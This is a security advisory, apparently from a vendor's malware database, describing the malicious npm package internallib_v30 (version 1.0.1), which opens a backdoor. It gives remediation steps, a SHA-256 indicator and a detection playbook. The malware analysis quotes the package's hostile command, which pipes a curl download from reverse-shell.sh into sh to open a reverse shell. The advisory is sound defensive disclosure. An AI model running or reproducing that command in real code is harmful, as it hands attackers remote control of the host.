Which versions of internallib_v30 are malicious?

The following npm versions of internallib_v30 are flagged malicious: 1.0.1. Treat any of these as compromised.

How do I remediate internallib_v30 if I installed it?

internallib_v30 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed internallib_v30 — how do I know if it already compromised me?

If internallib_v30 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is internallib_v30 part of a known attack campaign?

Yes — internallib_v30 is associated with the IN-MAL-2026-021087 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v30 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for internallib_v30 (version 1.0.1).

Malicious package

internallib_v30npm

Advisory published Oct 6, 2026Updated Oct 6, 2026

internallib_v30 is a confirmed malicious npm package (MAL-2026-17633) that opens a backdoor for remote access (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v30 (npm)

MAL-2026-17633

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v30

What this malware does

[email protected] ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.

Malicious versions

1 flagged

1.0.1

Indicators of compromise (SHA-256)

52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for internallib_v30 (version 1.0.1).
If you installed it — respond
internallib_v30 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v30 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. internallib_v30 on npm has been identified as a malicious package (version 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021087

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v30-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database